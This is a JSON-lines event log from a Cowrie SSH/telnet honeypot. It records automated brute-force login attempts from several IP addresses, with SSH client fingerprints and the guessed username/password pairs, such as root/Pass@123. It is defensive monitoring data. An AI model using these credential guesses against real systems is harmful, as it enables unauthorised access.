{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.287627Z","src_ip":"45.156.87.204","session":"55eadb2b7f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.339027Z","src_ip":"119.28.114.76","session":"d6b242743e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.540102Z","src_ip":"45.156.87.204","session":"55eadb2b7f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahmoud","password":"mahmoud","message":"login attempt [mahmoud/mahmoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:04.326163Z","src_ip":"119.28.114.76","session":"d6b242743e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:04.626870Z","src_ip":"45.156.87.204","session":"55eadb2b7f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:05.569816Z","src_ip":"119.28.114.76","session":"d6b242743e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fad1a3f2884","protocol":"ssh","message":"New connection: 45.156.87.204:33198 (159.203.135.109:22) [session: 9fad1a3f2884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:06.757357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:06.766774Z","src_ip":"45.156.87.204","session":"9fad1a3f2884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:06.849128Z","src_ip":"45.156.87.204","session":"9fad1a3f2884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:07.130083Z","src_ip":"45.156.87.204","session":"9fad1a3f2884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:08.343853Z","src_ip":"45.156.87.204","session":"9fad1a3f2884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33208,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6a575c27c1","protocol":"ssh","message":"New connection: 45.156.87.204:33208 (159.203.135.109:22) [session: db6a575c27c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:10.283379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:10.289089Z","src_ip":"45.156.87.204","session":"db6a575c27c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:10.371720Z","src_ip":"45.156.87.204","session":"db6a575c27c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:10.623261Z","src_ip":"45.156.87.204","session":"db6a575c27c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.93483066558838,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:11.101624Z","src_ip":"152.42.224.71","session":"903d43cfb9dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39136,"dst_ip":"159.203.135.109","dst_port":22,"session":"71f69c0a80a1","protocol":"ssh","message":"New connection: 47.237.167.49:39136 (159.203.135.109:22) [session: 71f69c0a80a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:11.460465Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:11.708367Z","src_ip":"45.156.87.204","session":"db6a575c27c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbeeda84ff1","protocol":"telnet","message":"New connection: 152.42.224.71:53454 (10.17.0.5:23) [session: 8fbeeda84ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:13.703834Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35396,"dst_ip":"159.203.135.109","dst_port":22,"session":"61fff1eeaaa2","protocol":"ssh","message":"New connection: 45.156.87.204:35396 (159.203.135.109:22) [session: 61fff1eeaaa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:14.357689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:14.364360Z","src_ip":"45.156.87.204","session":"61fff1eeaaa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.573426246643066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:14.399682Z","src_ip":"152.42.224.71","session":"978869f85803","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:14.449221Z","src_ip":"45.156.87.204","session":"61fff1eeaaa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:14.697304Z","src_ip":"45.156.87.204","session":"61fff1eeaaa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:15.786646Z","src_ip":"45.156.87.204","session":"61fff1eeaaa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":57126,"dst_ip":"159.203.135.109","dst_port":22,"session":"546f957206e7","protocol":"ssh","message":"New connection: 45.183.70.66:57126 (159.203.135.109:22) [session: 546f957206e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:16.560596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:16.567348Z","src_ip":"45.183.70.66","session":"546f957206e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:16.692406Z","src_ip":"45.183.70.66","session":"546f957206e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49120,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca384f30f05","protocol":"telnet","message":"New connection: 152.42.224.71:49120 (10.17.0.5:23) [session: 4ca384f30f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:16.856049Z"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1234","message":"login attempt [vpn/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:17.190374Z","src_ip":"45.183.70.66","session":"546f957206e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35408,"dst_ip":"159.203.135.109","dst_port":22,"session":"b633ef4425c9","protocol":"ssh","message":"New connection: 45.156.87.204:35408 (159.203.135.109:22) [session: b633ef4425c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:17.971489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:17.977146Z","src_ip":"45.156.87.204","session":"b633ef4425c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:18.061102Z","src_ip":"45.156.87.204","session":"b633ef4425c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:18.311997Z","src_ip":"45.183.70.66","session":"546f957206e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:18.325783Z","src_ip":"45.156.87.204","session":"b633ef4425c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:19.412838Z","src_ip":"45.156.87.204","session":"b633ef4425c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35422,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9b855919b7","protocol":"ssh","message":"New connection: 45.156.87.204:35422 (159.203.135.109:22) [session: 3e9b855919b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:21.473890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:21.649049Z","src_ip":"45.156.87.204","session":"3e9b855919b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:21.656833Z","src_ip":"45.156.87.204","session":"3e9b855919b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:22.078476Z","src_ip":"45.156.87.204","session":"3e9b855919b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:23.165026Z","src_ip":"45.156.87.204","session":"3e9b855919b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0963ded2bf0","protocol":"ssh","message":"New connection: 193.37.70.224:35372 (10.17.0.5:22) [session: b0963ded2bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:23.891952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:23.896854Z","src_ip":"193.37.70.224","session":"b0963ded2bf0","protocol":"ssh"}
